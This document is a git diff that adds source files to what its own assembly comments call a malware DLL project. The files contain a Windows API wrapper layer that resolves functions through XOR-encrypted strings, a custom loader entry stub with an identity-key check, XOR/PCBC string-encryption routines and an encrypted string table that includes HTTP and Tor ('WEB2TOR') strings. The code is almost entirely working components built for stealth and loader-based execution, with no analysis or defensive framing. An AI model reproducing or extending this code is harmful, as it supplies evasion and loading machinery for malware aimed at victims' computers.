+ kernel32 = (HANDLE) __kernel32;
+ getProcAdr = (GetProcAddressFunc) __getProcAdr;
+ void* __HeapCreate = NULL;
+ void* __HeapAlloc = NULL;
+
+#ifndef _DISABLE_MYGETPROC
+ BOOL bMyGetProcWorks = TRUE;
+ {
+ DBUF(FUNC_HEAPCREATE_ENUM, tmp);
+ void* funcPtr1 = getProcAdr(kernel32, tmp);
+ void* funcPtr2 = fnMyGetProcAddress(kernel32, tmp);
+ __HeapCreate = funcPtr1;
+ if (funcPtr1 != funcPtr2)
+ bMyGetProcWorks = FALSE;
+ }
+#else
+ DECRYPT_AND_GETPROC(FUNC_HEAPCREATE_ENUM, __HeapCreate);
+#endif
+#ifndef _DISABLE_MYGETPROC
+ {
+ DBUF(FUNC_HEAPALLOC_ENUM, tmp);
+ void* funcPtr1 = getProcAdr(kernel32, tmp);
+ void* funcPtr2 = fnMyGetProcAddress(kernel32, tmp);
+ __HeapAlloc = funcPtr1;
+ if (funcPtr1 != funcPtr2)
+ bMyGetProcWorks = FALSE;
+ }
+ if (bMyGetProcWorks)
+ getProcAdr = fnMyGetProcAddress;
+#else
+ DECRYPT_AND_GETPROC(FUNC_HEAPALLOC_ENUM, __HeapAlloc);
+#endif
+ heap = ((HeapCreateFunc)__HeapCreate)(0, 65535, 0);
+ if (!heap)
+ return FALSE;
+
+ /* alloc memory for function pointer */
+ WinApi = ((HeapAllocFunc)__HeapAlloc)(heap, HEAP_ZERO_MEMORY, sizeof(struct ApiCall)*(XOR_ENDFUNCS-XOR_STARTFUNCS + XOR_ENDFUNCS_OTHER-XOR_ENDFUNCS));
+ if (!WinApi)
+ return FALSE;
+
+ FUNC(FUNC_HEAPCREATE_ENUM) = __HeapCreate;
+ FUNC(FUNC_HEAPALLOC_ENUM) = __HeapAlloc;
+ BOOL ret = TRUE;
+ for (unsigned i = XOR_STARTFUNCS+1; i < XOR_ENDFUNCS; ++i) {
+ if (FUNC(i))
+ continue;
+ DECRYPT_AND_GETPROCF(i);
+ if (!FUNC(i))
+ ret = FALSE;
+ }
+
+ {
+ HMODULE infoDLL;
+ DECRYPT_AND_LOADLIB(INFODLL_ENUM, infoDLL);
+ if (infoDLL)
+ DECRYPT_AND_LIBGETPROC(INFO_GETCURHWPROFILE_ENUM, infoDLL, FUNC(INFO_GETCURHWPROFILE_ENUM));
+ if (!FUNC(INFO_GETCURHWPROFILE_ENUM))
+ ret = FALSE;
+ }
+ {
+ HMODULE shellDLL;
+ DECRYPT_AND_LOADLIB(SHELLDLL_ENUM, shellDLL);
+ if (shellDLL)
+ DECRYPT_AND_LIBGETPROC(SHELL_EXECUTE_ENUM, shellDLL, FUNC(SHELL_EXECUTE_ENUM));
+ if (!FUNC(SHELL_EXECUTE_ENUM))
+ ret = FALSE;
+ }
+
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+#ifdef _USE_PIPES
+ {
+ DBUF(MILLER_MSGPIPE_ENUM, tmp);
+ pipeName = COMPAT(strdup)(tmp);
+ }
+
+ while (FUNC(FUNC_WAITNAMEDPIPE_ENUM) &&
+ FUNC(FUNC_CREATEFILEA_ENUM) &&
+ FUNC(FUNC_GETLASTERROR_ENUM)) {
+ hOut = RUN_FUNC(FUNC_CREATEFILEA_ENUM, CreateFileFunc, pipeName, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
+
+ if (hOut != INVALID_HANDLE_VALUE)
+ break;
+ if (RUN_FUNC(FUNC_GETLASTERROR_ENUM, GetLastErrorFunc) != ERROR_PIPE_BUSY)
+ break;
+ if (!RUN_FUNC(FUNC_WAITNAMEDPIPE_ENUM, WaitNamedPipeFunc, pipeName, 500))
+ break;
+ }
+#else
+ if ( FUNC(FUNC_ALLOCCONSOLE_ENUM) &&
+ FUNC(FUNC_FREECONSOLE_ENUM) &&
+ FUNC(FUNC_WRITECONSOLEA_ENUM) &&
+ FUNC(FUNC_GETSTDHANDLE_ENUM) &&
+ FUNC(FUNC_ATTACHCONSOLE_ENUM) &&
+ FUNC(FUNC_GETCURRENTPROCESSID_ENUM) ) {
+ RUN_FUNC(FUNC_ALLOCCONSOLE_ENUM, AllocConsoleFunc);
+ hOut = RUN_FUNC(FUNC_GETSTDHANDLE_ENUM, GetStdHandleFunc, (DWORD)-11);
+
+ if (hOut == INVALID_HANDLE_VALUE) {
+ if (! RUN_FUNC(FUNC_ATTACHCONSOLE_ENUM, AttachConsoleFunc,
+ RUN_FUNC(FUNC_GETCURRENTPROCESSID_ENUM, GetCurrentProcessIdFunc)) ) {
+ ret = FALSE;
+ }
+ }
+ } else ret = FALSE;
+
+ if (ret)
+ COMPAT(puts)("bInitCompat SUCCESS!\n");
+#endif
+#endif
+
+ return ret;
+}
+
+
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+#ifdef _USE_PIPES
+BOOL _WriteConsole(const void* buffer, DWORD size, LPDWORD written)
+{
+ return RUN_FUNC(FUNC_WRITEFILE_ENUM, WriteFileFunc, hOut, buffer, size, written, NULL);
+}
+#else
+HANDLE _GetStdout(void)
+{
+ return hOut;
+}
+BOOL _WriteConsole(const void* buffer, DWORD size, LPDWORD written)
+{
+ return RUN_FUNC(FUNC_WRITECONSOLEA_ENUM, WriteConsoleFunc, _GetStdout(), buffer, size, written, NULL);
+}
+#endif
+#endif
+
+inline void* COMPAT(calloc) (size_t nElements, size_t szElement)
+{
+ return RUN_FUNC(FUNC_HEAPALLOC_ENUM, HeapAllocFunc, heap, HEAP_ZERO_MEMORY, nElements*szElement);
+}
+
+inline void* COMPAT(realloc) (void* ptr, size_t szNew)
+{
+ return RUN_FUNC(FUNC_HEAPREALLOC_ENUM, HeapReAllocFunc, heap, HEAP_ZERO_MEMORY, ptr, szNew);
+}
+
+inline void COMPAT(free) (void* ptr)
+{
+ if (!ptr)
+ return;
+ RUN_FUNC(FUNC_HEAPFREE_ENUM, HeapFreeFunc, heap, 0, ptr);
+}
+
+const void* COMPAT(memmem) (const void* haystack, size_t haystacklen, const void* needle, size_t needlelen)
+{
+ if (!haystack || !needle || !haystacklen || !needlelen)
+ return NULL;
+
+ register const unsigned char* npos = needle;
+ register const unsigned char* hpos = haystack;
+ size_t hpos_off;
+ size_t npos_off;
+ do {
+ if (*(unsigned char*)(npos) == *(unsigned char*)(hpos)) {
+ npos++;
+ } else npos = needle;
+ hpos++;
+ hpos_off = hpos - (unsigned char*)haystack;
+ npos_off = npos - (unsigned char*)needle;
+ } while (hpos_off < haystacklen && npos_off < needlelen);
+
+ if (npos < (unsigned char*)(needle + needlelen))
+ return NULL;
+ return hpos - needlelen;
+}
+
+void* COMPAT(memcpy)(void* dst, void const* src, size_t len)
+{
+ long* plDst = (long*) dst;
+ long const* plSrc = (long const*) src;
+
+ if (!((long)plSrc & 0xFFFFFFFC) && !((long)plDst & 0xFFFFFFFC)) {
+ while (len >= sizeof(long*)) {
+ *plDst++ = *plSrc++;
+ len -= sizeof(long*);
+ }
+ }
+
+ char* pcDst = (char*) plDst;
+ char const* pcSrc = (char const*) plSrc;
+
+ while (len--) {
+ *pcDst++ = *pcSrc++;
+ }
+
+ return dst;
+}
+
+inline void* COMPAT(memmove) (void* dst, const void* src, size_t siz)
+{
+ RUN_FUNC(FUNC_MOVEMEMORY_ENUM, MoveMemoryFunc, dst, src, siz);
+ return dst;
+}
+
+inline void* COMPAT(memset) (void* str, int c, size_t siz)
+{
+ RUN_FUNC(FUNC_FILLMEMORY_ENUM, FillMemoryFunc, str, siz, c);
+ return str;
+}
+
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+int COMPAT(puts) (const char* str)
+{
+ DWORD nmb = 0;
+ if (_WriteConsole(str, COMPAT(strlen)(str), &nmb) != TRUE) {
+ nmb = -1;
+ }
+ return nmb;
+}
+#endif
+
+/* minimal implementation, not compatible with libc's and not as fast as libc's */
+int COMPAT(strcmp) (const char* str1, const char* str2)
+{
+ int pos = 0;
+ int fnd = 1;
+
+ while ( str1[pos] != '\0' && str2[pos] != '\0' )
+ {
+ if (str1[pos] != str2[pos]) fnd = 0;
+ ++pos;
+ }
+ if (!fnd)
+ {
+ if (str1[pos] == '\0')
+ {
+ fnd = 1;
+ }
+ else
+ {
+ fnd = -1;
+ }
+ }
+ return fnd;
+}
+
+int COMPAT(strncmp) (const char* str1, const char* str2, size_t maxCount)
+{
+ size_t pos = 0;
+ int fnd = 1;
+
+ while ( pos < maxCount && str1[pos] != '\0' && str2[pos] != '\0' )
+ {
+ if (str1[pos] != str2[pos]) fnd = 0;
+ ++pos;
+ }
+ if (!fnd)
+ {
+ if (str1[pos] == '\0')
+ {
+ fnd = 1;
+ }
+ else
+ {
+ fnd = -1;
+ }
+ } else return 0;
+ return fnd;
+}
+
+static inline char __toLower(char c)
+{
+ if (c >= 0x41 && c <= 0x5A)
+ {
+ c += 32;
+ }
+ return c;
+}
+
+int COMPAT(strnicmp) (const char* str1, const char* str2, size_t maxCount)
+{
+ register size_t pos = 0;
+ int fnd = 1;
+
+ while ( pos < maxCount && str1[pos] != '\0' && str2[pos] != '\0' )
+ {
+ if (__toLower(str1[pos]) != __toLower(str2[pos])) fnd = 0;
+ ++pos;
+ }
+ if (!fnd)
+ {
+ if (str1[pos] == '\0')
+ {
+ fnd = 1;
+ } else {
+ fnd = -1;
+ }
+ } else return 0;
+ return fnd;
+}
+
+const char* COMPAT(strnstr) (const char* haystack, const char* needle, size_t maxCount)
+{
+ if (!haystack || !needle || !maxCount || *needle == '\0' || *haystack == '\0')
+ return NULL;
+
+ register const char* pos = needle;
+ do {
+ if (*pos == *haystack) {
+ pos++;
+ } else pos = needle;
+ } while (*haystack++ != '\0' && *pos != '\0' && --maxCount > 0);
+ if (pos == needle || *pos != '\0')
+ return NULL;
+ return haystack - (pos - needle);
+}
+
+const char* COMPAT(strnistr) (const char* haystack, const char* needle, size_t maxCount)
+{
+ if (!haystack || !needle || !maxCount || *needle == '\0' || *haystack == '\0')
+ return NULL;
+
+ register const char* pos = needle;
+ do {
+ if (__toLower(*pos) == __toLower(*haystack)) {
+ pos++;
+ } else pos = needle;
+ } while (*haystack++ != '\0' && *pos != '\0' && --maxCount > 0);
+ if (pos == needle || *pos != '\0')
+ return NULL;
+ return haystack - (pos - needle);
+}
+
+size_t COMPAT(strlen) (const char* str)
+{
+ register char* start = (char*) str;
+ while (*str != '\0')
+ {
+ str++;
+ }
+ return str-start;
+}
+
+size_t COMPAT(strnlen) (const char* str, size_t maxCount)
+{
+ size_t len = 0;
+ while (*str != '\0' && ++len != maxCount)
+ {
+ str++;
+ }
+ return len;
+}
+
+char* COMPAT(strdup) (const char* str)
+{
+ size_t len = COMPAT(strlen)(str);
+ char *cpy = COMPAT(calloc)(len+1, sizeof(char));
+ COMPAT(memcpy(cpy, str, len));
+ return cpy;
+}
+
+char* COMPAT(strchr) (const char* str, int c)
+{
+ register char* tmp = (char*)str;
+ while ( *(tmp) != '\0' )
+ {
+ if (*tmp == c) return tmp;
+ tmp++;
+ }
+ return NULL;
+}
+
+inline char* COMPAT(strcat) (char *dest, const char *src)
+{
+ int dlen = COMPAT(strlen)(dest);
+ int slen = COMPAT(strlen)(src);
+ COMPAT(memcpy) ((char*)dest+dlen, src, slen);
+ return dest;
+}
+
+#include "snprintf.h"
+
+inline int COMPAT(vsnprintf) (char* buffer, unsigned int buffer_len, const char *fmt, va_list va)
+{
+ return mini_vsnprintf(buffer, buffer_len, fmt, va);
+}
+
+inline int COMPAT(snprintf) (char* buffer, unsigned int buffer_len, const char *fmt, ...)
+{
+ va_list ap;
+ va_start(ap, fmt);
+ int ret = mini_vsnprintf(buffer, buffer_len, fmt, ap);
+ va_end(ap);
+ return ret;
+}
+
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+int COMPAT(vprintf) (const char* format, va_list ap)
+{
+ char* out = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char));
+ int ret = mini_vsnprintf(out, PRINT_BUFSIZ, format, ap);
+
+ if (ret <= 0) {
+ ret = -2;
+ goto error;
+ }
+ size_t len = (ret < PRINT_BUFSIZ ? ret : PRINT_BUFSIZ-1);
+ DWORD outBytes = 0;
+
+ if (!_WriteConsole((const void*)out, len, &outBytes)) {
+ ret = -3;
+ goto error;
+ }
+ if (len != outBytes) {
+ ret = -4;
+ goto error;
+ }
+
+error:
+ COMPAT(free)(out);
+ return ret;
+}
+
+int COMPAT(printf) (const char* format, ...)
+{
+ va_list args;
+ va_start(args, format);
+ int ret = COMPAT(vprintf)(format, args);
+ va_end(args);
+ return ret;
+}
+#endif
+
+LPWSTR COMPAT(toWideChar)(LPCSTR mbStr, int mbLen, int* pOutLen)
+{
+ int siz = RUN_FUNC(FUNC_MULTIBYTETOWCHAR_ENUM, MultiByteToWideCharFunc, CP_UTF8, 0, mbStr, mbLen, NULL, 0);
+
+ if (siz > 0) {
+ LPWSTR out = COMPAT(calloc)(siz+1, sizeof(WCHAR));
+ int ret = RUN_FUNC(FUNC_MULTIBYTETOWCHAR_ENUM, MultiByteToWideCharFunc, CP_UTF8, 0, mbStr, mbLen, out, siz);
+
+ if (ret == 0) {
+ COMPAT(free)(out);
+ } else {
+ if (pOutLen)
+ *pOutLen = ret;
+ return out;
+ }
+ }
+ return NULL;
+}
+
+BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
+{
+ return RUN_FUNC(FUNC_VIRTUALFREE_ENUM, VirtualFreeFunc, lpAddress, dwSize, dwFreeType);
+}
+
+HMODULE WINAPI _LoadLibrary(LPCTSTR name)
+{
+ return RUN_FUNC(FUNC_LOADLIBRARYA_ENUM, LoadLibraryFunc, name);
+}
+
+FARPROC WINAPI _GetProcAddress(HMODULE hModule, LPCSTR szProcName)
+{
+ return getProcAdr(hModule, szProcName);
+}
+
+DWORD WINAPI _GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh)
+{
+ return RUN_FUNC(FUNC_GETFILESIZE_ENUM, GetFileSizeFunc, hFile, lpFileSizeHigh);
+}
+
+HANDLE WINAPI _CreateFile(LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode,
+ LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition,
+ DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
+{
+ return RUN_FUNC(FUNC_CREATEFILEA_ENUM, CreateFileFunc,
+ lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes,
+ dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
+}
+
+BOOL WINAPI _CloseHandle(HANDLE hObject)
+{
+ return RUN_FUNC(FUNC_CLOSEHANDLE_ENUM, CloseHandleFunc, hObject);
+}
+
+BOOL WINAPI _ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead,
+ LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
+{
+ return RUN_FUNC(FUNC_READFILE_ENUM, ReadFileFunc,
+ hFile, lpBuffer, nNumberOfBytesToRead,
+ lpNumberOfBytesRead, lpOverlapped);
+}
+
+BOOL WINAPI _WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,
+ LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
+{
+ return RUN_FUNC(FUNC_WRITEFILE_ENUM, WriteFileFunc,
+ hFile, lpBuffer, nNumberOfBytesToWrite,
+ lpNumberOfBytesWritten, lpOverlapped);
+}
+
+DWORD WINAPI _SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod)
+{
+ return RUN_FUNC(FUNC_SETFILEPOINTER_ENUM, SetFilePointerFunc,
+ hFile, lDistanceToMove, lpDistanceToMoveHigh, dwMoveMethod);
+}
+
+BOOL WINAPI _IsBadReadPtr(const void* lp, UINT_PTR ucb)
+{
+ return RUN_FUNC(FUNC_ISBADREADPTR_ENUM, IsBadReadPtrFunc, lp, ucb);
+}
+
+void WINAPI _GetSystemTime(LPSYSTEMTIME lpSystemTime)
+{
+ return RUN_FUNC(FUNC_GETSYSTEMTIME_ENUM, GetSystemTimeFunc, lpSystemTime);
+}
+
+DWORD WINAPI _GetModuleFileName(HMODULE hModule, LPTSTR lpFilename, DWORD nSize)
+{
+ return RUN_FUNC(FUNC_GETMODULEFILENAMEA_ENUM, GetModuleFileNameFunc,
+ hModule, lpFilename, nSize);
+}
+
+DWORD WINAPI _GetLastError(void)
+{
+ return RUN_FUNC(FUNC_GETLASTERROR_ENUM, GetLastErrorFunc);
+}
+
+void WINAPI _SetLastError(DWORD dwErrCode)
+{
+ RUN_FUNC(FUNC_SETLASTERROR_ENUM, SetLastErrorFunc, dwErrCode);
+}
+
+void WINAPI _OutputDebugString(LPCTSTR lpcOut)
+{
+ RUN_FUNC(FUNC_OUTPUTDEBUGSTRING_ENUM, OutputDebugStringFunc, lpcOut);
+}
+
+DWORD WINAPI _GetLogicalDriveStrings(DWORD nBufferLength, LPTSTR lpBuffer)
+{
+ return RUN_FUNC(FUNC_GETLOGICALDRIVES_ENUM, GetLogicalDriveStringsFunc,
+ nBufferLength, lpBuffer);
+}
+
+UINT WINAPI _GetDriveType(LPCTSTR lpRootPathName)
+{
+ return RUN_FUNC(FUNC_GETDRIVETYPE_ENUM, GetDriveTypeFunc, lpRootPathName);
+}
+
+BOOL WINAPI _GetDiskFreeSpace(LPCTSTR lpRootPathName, LPDWORD lpSectorsPerCluster, LPDWORD lpBytesPerSector,
+ LPDWORD lpNumberOfFreeClusters, LPDWORD lpTotalNumberOfClusters)
+{
+ return RUN_FUNC(FUNC_GETDISKFREESPACE_ENUM, GetDiskFreeSpaceFunc,
+ lpRootPathName, lpSectorsPerCluster, lpBytesPerSector,
+ lpNumberOfFreeClusters, lpTotalNumberOfClusters);
+}
+
+DWORD WINAPI _GetTempPath(DWORD nBufferLength, LPTSTR lpBuffer)
+{
+ return RUN_FUNC(FUNC_GETTEMPPATH_ENUM, GetTempPathFunc, nBufferLength, lpBuffer);
+}
+
+HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize,
+ LPTHREAD_START_ROUTINE lpStartAddress,
+ LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
+{
+ return RUN_FUNC(FUNC_CREATETHREAD_ENUM, CreateThreadFunc,
+ lpThreadAttributes, dwStackSize, lpStartAddress,
+ lpParameter, dwCreationFlags, lpThreadId);
+}
+
+DWORD WINAPI _ResumeThread(HANDLE hThread)
+{
+ return RUN_FUNC(FUNC_RESUMETHREAD_ENUM, ResumeThreadFunc, hThread);
+}
+
+BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
+{
+ return RUN_FUNC(FUNC_GETTHREADCTX_ENUM, GetThreadContextFunc, hThread, lpContext);
+}
+
+BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
+{
+ return RUN_FUNC(FUNC_SETTHREADCTX_ENUM, SetThreadContextFunc, hThread, lpContext);
+}
+
+HANDLE WINAPI _GetCurrentThread(void)
+{
+ return RUN_FUNC(FUNC_GETCURRENTTHREAD_ENUM, GetCurrentThreadFunc);
+}
+
+DWORD WINAPI _WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
+{
+ return RUN_FUNC(FUNC_WAITSINGLEOBJ_ENUM, WaitForSingleObjectFunc, hHandle, dwMilliseconds);
+}
+
+BOOL WINAPI _SwitchToThread(void)
+{
+ return RUN_FUNC(FUNC_SWITCHTOTHREAD_ENUM, SwitchToThreadFunc);
+}
+
+DWORD WINAPI _GetVersion(void)
+{
+ return RUN_FUNC(INFO_GETVERSION_ENUM, GetVersionFunc);
+}
+
+LPTSTR WINAPI _GetCommandLine(void)
+{
+ return RUN_FUNC(INFO_GETCMDLINE_ENUM, GetCommandLineFunc);
+}
+
+void WINAPI _GetSystemInfo(LPSYSTEM_INFO lpSystemInfo)
+{
+ return RUN_FUNC(INFO_GETSYSTEMINFO_ENUM, GetSystemInfoFunc, lpSystemInfo);
+}
+
+BOOL WINAPI _GetVolumeInformation(LPCTSTR lpRootPathName, LPTSTR lpVolumeNameBuffer, DWORD nVolumeNameSize,
+ LPDWORD lpVolumeSerialNumber, LPDWORD lpMaximumComponentLength,
+ LPDWORD lpFileSystemFlags, LPTSTR lpFileSystemNameBuffer, DWORD nFileSystemNameSize)
+{
+ return RUN_FUNC(INFO_GETVOLINFO_ENUM, GetVolumeInformationFunc,
+ lpRootPathName, lpVolumeNameBuffer, nVolumeNameSize,
+ lpVolumeSerialNumber, lpMaximumComponentLength,
+ lpFileSystemFlags, lpFileSystemNameBuffer, nFileSystemNameSize);
+}
+
+BOOL WINAPI _GetCurrentHwProfile(LPHW_PROFILE_INFOA lpHwProfileInfo)
+{
+ if (!FUNC(INFO_GETCURHWPROFILE_ENUM))
+ return FALSE;
+ return RUN_FUNC(INFO_GETCURHWPROFILE_ENUM, GetCurrentHwProfileFunc, lpHwProfileInfo);
+}
+
+UINT WINAPI _GetSystemDirectory(LPTSTR lpBuffer, UINT uSize)
+{
+ return RUN_FUNC(INFO_GETSYSDIR_ENUM, GetSystemDirectoryFunc, lpBuffer, uSize);
+}
+
+DWORD WINAPI _GetCurrentDirectory(DWORD nBufferLength, LPTSTR lpBuffer)
+{
+ return RUN_FUNC(INFO_GETCURDIR_ENUM, GetCurrentDirectoryFunc, nBufferLength, lpBuffer);
+}
+
+DWORD WINAPI _GetFileAttributes(LPCTSTR lpFileName)
+{
+ return RUN_FUNC(INFO_GETFILEATTRS_ENUM, GetFileAttributesFunc, lpFileName);
+}
+
+BOOL WINAPI _EnumDeviceDrivers(LPVOID *lpImageBase, DWORD cb, LPDWORD lpcbNeeded)
+{
+ return RUN_FUNC(KRNL_ENUMDEVICEDRIVERS_ENUM, EnumDeviceDriversFunc, lpImageBase, cb, lpcbNeeded);
+}
+
+DWORD WINAPI _GetDeviceDriverBaseNameA(LPVOID ImageBase, LPSTR lpBaseName, DWORD nSize)
+{
+ return RUN_FUNC(KRNL_GETDEVICEDRIVERBN_ENUM, GetDeviceDriverBaseNameAFunc, ImageBase, lpBaseName, nSize);
+}
+
+HINSTANCE _ShellExecute(HWND hwnd, LPCTSTR lpOperation, LPCTSTR lpFile, LPCTSTR lpParameters,
+ LPCTSTR lpDirectory, INT nShowCmd)
+{
+ if (!FUNC(SHELL_EXECUTE_ENUM))
+ return NULL;
+ return RUN_FUNC(SHELL_EXECUTE_ENUM, ShellExecuteFunc,
+ hwnd, lpOperation, lpFile, lpParameters,
+ lpDirectory, nShowCmd);
+}
diff --git a/source/crt_x86.asm b/source/crt_x86.asm
new file mode 100644
index 0000000..1468b05
--- /dev/null
+++ b/source/crt_x86.asm
@@ -0,0 +1,52 @@
+SECTION .text
+GLOBAL _start
+EXTERN __main
+
+
+; *** When _start gets called from the loader:
+; EAX = ptr to _start
+; EBX = 32-bit ident key (Overwritten with OFF_PTRDLL in [esp + 0x4], LOADER ONLY)
+; ECX = address of GetProcAddress
+; EDX = KERNEL32 base address
+; EDI = base address of alloc'd malware DLL
+; ESI = ptr to loader struct
+; [ESP + 0x4] = OFF_PTRDLL
+_start:
+ xor eax,eax
+ ; identificator check (is the caller our loader?)
+ cmp ebx,0xdeadbeef
+ je _start_loader
+ ; started by WinAPI `LoadLibrary(...)`
+ pushad
+ inc al
+ push eax
+ xor esi,esi ; loader struct ptr must be NULL!
+ xor ebx,ebx
+ jmp short _start_noloader
+_start_loader:
+ mov ebx,[esp + 0x4]
+ push eax
+_start_noloader:
+ ; new call frame
+ push ebp
+ mov ebp, esp
+ ; call C entry function
+ push ebx ; ptr to (decrypted) DLL (or NULL)
+ push esi ; ptr to loader struct (or NULL)
+ push edi ; ptr of alloc'd dll
+ push ecx ; address of GetProcAddress
+ push edx ; KERNEL32 base address
+ call __main
+ ; restore old frame
+ pop ebp
+ pop ecx
+ cmp cl,0x1 ; started by WinAPI `LoadLibrary(...) ???
+ ; started by WinAPI `LoadLibrary(...)`
+ jne _finish_noloader
+ popad
+ xor eax,eax
+ inc eax
+ ret 0xc
+ _finish_noloader:
+ ret
+
diff --git a/source/crypt.c b/source/crypt.c
new file mode 100644
index 0000000..0fb97b4
--- /dev/null
+++ b/source/crypt.c
@@ -0,0 +1,147 @@
+#include "compat.h"
+#include "crypt.h"
+#include "utils.h"
+
+#ifndef __MINGW32__
+#include <time.h>
+#endif
+
+
+static inline int xor32_crypt(uint32_t u32, uint32_t key)
+{
+ return u32 ^ key;
+}
+
+uint32_t xor32n_pcbc_crypt_buf(uint32_t* buf, uint32_t siz, const uint32_t* iv, const uint32_t* key, uint32_t ivkeysiz)
+{
+ uint32_t pad = siz % (ivkeysiz*sizeof(uint32_t));
+ if (pad) {
+ siz += (ivkeysiz*sizeof(uint32_t)) - pad;
+ }
+ uint32_t msiz = (uint32_t)(siz/sizeof(uint32_t));
+ uint32_t prev[ivkeysiz];
+
+ for (register uint32_t i = 0; i < ivkeysiz; ++i) {
+ prev[i] = iv[i];
+ }
+ for (register uint32_t i = 0; i < msiz; ++i) {
+ register uint32_t plain = buf[i];
+ register uint32_t arridx = i % ivkeysiz;
+ register uint32_t tmp = xor32_crypt(plain, prev[arridx]);
+ register uint32_t crypt = xor32_crypt(tmp, key[arridx]);
+ prev[arridx] = xor32_crypt(crypt, plain);
+ buf[i] = crypt;
+ }
+ return siz;
+}
+
+unsigned char* xor32_byte_crypt(unsigned char* buf, uint32_t siz, unsigned int key)
+{
+ uint32_t bsiz = siz - (siz%4);
+
+ uint32_t i;
+ for (i = 0; i < bsiz/4; ++i) {
+ unsigned int* src = (unsigned int*)buf;
+ unsigned int* dst = (unsigned int*)buf;
+ *(dst+i) = *(src+i) ^ key;
+ }
+ for (i = bsiz; i < bsiz+(siz%4); ++i) {
+ unsigned char k = (unsigned char)(key & (0xFF << i*8)) >> i*8;
+ buf[i] = buf[i] ^ k;
+ }
+
+ return buf;
+}
+
+uint32_t xor32_randomkey(void)
+{
+#ifdef __MINGW32__
+ SYSTEMTIME st;
+ volatile unsigned int seed, retval;
+
+ _GetSystemTime(&st);
+ seed = (seed*retval)+(st.wYear + st.wMonth + st.wDayOfWeek +
+ st.wDay + st.wMinute) * (st.wSecond + 1);
+ for (int i = 0; i < 100; ++i) {
+ _GetSystemTime(&st);
+ retval = (volatile unsigned int)(seed * st.wMilliseconds);
+ seed++;
+ }
+ return (volatile unsigned int)((retval * st.wMilliseconds));
+#else
+ time_t st = time(NULL);
+ volatile unsigned int seed = st * __rdtsc(), retval;
+
+ for (uint32_t i = 0; i < 100; ++i) {
+ st = time(NULL);
+ retval = (volatile unsigned int)((seed * st) % 256),
+ seed++;
+ }
+ return (volatile unsigned int)(retval * st);
+#endif
+}
+
+/* from: https://github.com/jwerle/murmurhash.c */
+uint32_t murmurhash(const char *key, uint32_t len, uint32_t seed)
+{
+ uint32_t c1 = 0xa1f3e2d1;
+ uint32_t c2 = 0x4df56a13;
+ uint32_t r1 = 15;
+ uint32_t r2 = 13;
+ uint32_t m = 5;
+ uint32_t n = 0xa24f697f;
+ register uint32_t h = 0;
+ register uint32_t k = 0;
+ uint8_t *d = (uint8_t *) key; // 32 bit extract from `key'
+ const uint32_t *chunks = NULL;
+ const uint8_t *tail = NULL; // tail - last 8 bytes
+ register int i = 0;
+ int l = len / 4; // chunk length
+
+ h = seed;
+
+ chunks = (const uint32_t *) (d + l * 4); // body
+ tail = (const uint8_t *) (d + l * 4); // last 8 byte chunk of `key'
+
+ // for each 4 byte chunk of `key'
+ for (i = -l; i != 0; ++i) {
+ // next 4 byte chunk of `key'
+ k = chunks[i];
+
+ // encode next 4 byte chunk of `key'
+ k *= c1;
+ k = (k << r1) | (k >> (32 - r1));
+ k *= c2;
+
+ // append to hash
+ h ^= k;
+ h = (h << r2) | (h >> (32 - r2));
+ h = h * m + n;
+ }
+
+ k = 0;
+
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wimplicit-fallthrough"
+ // remainder
+ switch (len & 3) { // `len % 4'
+ case 3: k ^= (tail[2] << 16);
+ case 2: k ^= (tail[1] << 8);
+ case 1:
+ k ^= tail[0];
+ k *= c1;
+ k = (k << r1) | (k >> (32 - r1));
+ k *= c2;
+ h ^= k;
+ }
+#pragma GCC diagnostic pop
+
+ h ^= len;
+ h ^= (h >> 16);
+ h *= 0x85ebca6b;
+ h ^= (h >> 13);
+ h *= 0xc2b2ae35;
+ h ^= (h >> 16);
+
+ return h;
+}
diff --git a/source/crypt_strings.c b/source/crypt_strings.c
new file mode 100644
index 0000000..1e87c38
--- /dev/null
+++ b/source/crypt_strings.c
@@ -0,0 +1,189 @@
+#include "compat.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#include "crypt.h"
+#include "crypt_strings.h"
+
+
+static unsigned int xorkey = XOR_KEY;
+static struct string strs[] = {
+ NULLENT(XOR_STARTFUNCS),
+ /* kernel32.dll */
+ XOR_KEY_FUNCS_STRINGS,
+ XOR_KEY_FUNCS_INFO_STRINGS,
+ XOR_KEY_FUNCS_KERNEL_STRINGS,
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+ XOR_KEY_FUNCS_DEBUG_STRINGS,
+#endif
+ /* -------------------- */
+ NULLENT(XOR_ENDFUNCS),
+ /* non-kernel32.dll */
+ XOR_KEY_FUNCS_OTHER_STRINGS,
+ /* ------------------ */
+ NULLENT(XOR_ENDFUNCS_OTHER),
+ XOR_KEY_HTTP_STRINGS,
+#ifdef _HTTP_LOCALHOST
+ XOR_KEY_HTTP_LOCALHOST_STRINGS,
+#else
+ XOR_KEY_HTTP_WEB2TOR_STRINGS,
+#endif
